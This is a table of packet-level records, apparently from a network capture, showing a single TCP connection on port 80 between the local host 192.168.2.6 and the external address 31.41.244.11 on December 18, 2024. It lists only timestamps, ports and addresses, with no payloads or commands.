Dec 18, 2024 11:47:44.109047890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.109095097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.109170914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.109208107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.110249043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.110301971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.110351086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.110392094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.111386061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.111433983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.111490965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.111534119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.112574100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.112622023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.112883091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.112925053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.113737106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.113780975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.113854885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.113894939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.114916086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.114960909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.115037918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.115089893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.116087914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.116137981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.116219044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.116261005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.117278099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.117320061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.117383003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.117455959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.118458986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.118518114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.118572950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.118616104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.119674921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.119728088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.119775057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.119817019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.120834112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.120882034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.120934963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.120978117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.122039080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.122092962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.122178078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.122220039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.123225927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.123279095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.123348951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.123393059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.124398947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.124452114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.124490023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.124533892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.125591040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.125637054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.125874043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.125927925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.126786947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.126832962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.126878023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.126920938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.127943039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.128000021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.128048897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.128091097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.129118919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.129168034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.129210949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.129254103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.130307913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.130362034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.130414963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.130455971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.131472111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.131527901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.131575108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.131616116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.132775068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.132844925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.132850885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.132893085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.133929968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.133985996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.134036064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.134073973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.135080099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.135133028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.135180950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.135222912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.136229038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.136272907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.136322021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.136363029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.137439966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.137489080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.137526035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.137567043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.138577938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.138626099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.138675928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.138720989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.139758110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.139806986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.139827013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.139870882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.141073942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.141133070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.270479918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.270539999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.270592928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.270592928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.270957947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.271008015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.271147966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.271194935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.272166967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.272222042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.272269011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.272315979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.273576021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.273627996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.273653030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.273693085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.274883032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.274903059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.274931908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.274951935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.275810957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.275881052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.275892019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.275935888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.276926994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.276979923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.277014971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.277060986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.278115034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.278162003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.278187990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.278232098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.279270887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.279324055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.279361963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.279403925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.280564070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.280612946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.280637026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.280678034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.281655073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.281699896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.282074928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.282116890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.283003092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.283049107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.283092976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.283138037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.284019947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.284061909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.284120083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.284158945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.285173893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.285217047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.285310030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.285355091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.286386013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.286438942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.286465883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.286504984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.287596941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.287648916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.287698984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.287744045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.288790941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.288839102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.288892984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.288933039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.289925098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.289988041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.290035963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.290080070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.291141033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.291205883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.291323900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.291373968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.292280912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.292365074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.292418003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.292457104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.293479919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.293512106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.293526888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.293550014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.294646025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.294692993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.294743061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.294780970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.295902014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.295948982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.295995951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.296037912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.297003031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.297049046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.297113895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.297151089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.298278093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.298322916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.298377991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.298413992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.299402952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.299448013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.299484015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.299523115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.300592899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.300638914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.300656080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.300693035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.301749945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.301795006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.301851988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.301892996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.302937984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.302980900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.303016901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.303052902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.304126024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.304164886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.304210901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.304246902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.305286884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.305337906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.305376053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.305414915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.306529045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.306582928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.306622028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.306658983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.307672024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.307725906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.307773113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.307810068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.308852911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.308912992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.308974028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.309026003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.310053110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.310096979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.310153961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.310198069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.311217070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.311270952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.311335087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.311371088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.312406063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.312460899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.312510014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.312553883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.313594103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.313652039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.313704014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.313740969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.314754009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.314810038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.314831972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.314874887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.315931082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.315982103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.316133022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.316171885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.317121029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.317166090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.317259073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.317302942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.318373919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.318419933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.318469048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.318515062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.337848902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.337893009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.337908983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.337930918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.337976933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.337976933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338037014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338053942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338078976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338095903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338149071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338192940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338212967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338228941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338247061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338258982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338340044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338356018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338371992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338382006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338391066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338422060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338466883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338505983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338581085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338597059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338612080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338622093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338627100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338637114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338643074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338654041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338660002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338676929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338701010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338865995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338881016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338896990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338907957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338910103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.338926077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.338952065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.461663961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.461703062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.461796045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.462177038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.462209940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.462228060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.462352991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.462399960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.463356018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.463403940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.463731050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.463778019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.463932991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.463978052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.464972973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.465014935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.465056896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.465096951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.466161966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.466211081 CET	49878	80	192.168.2.6	31.41.244.11
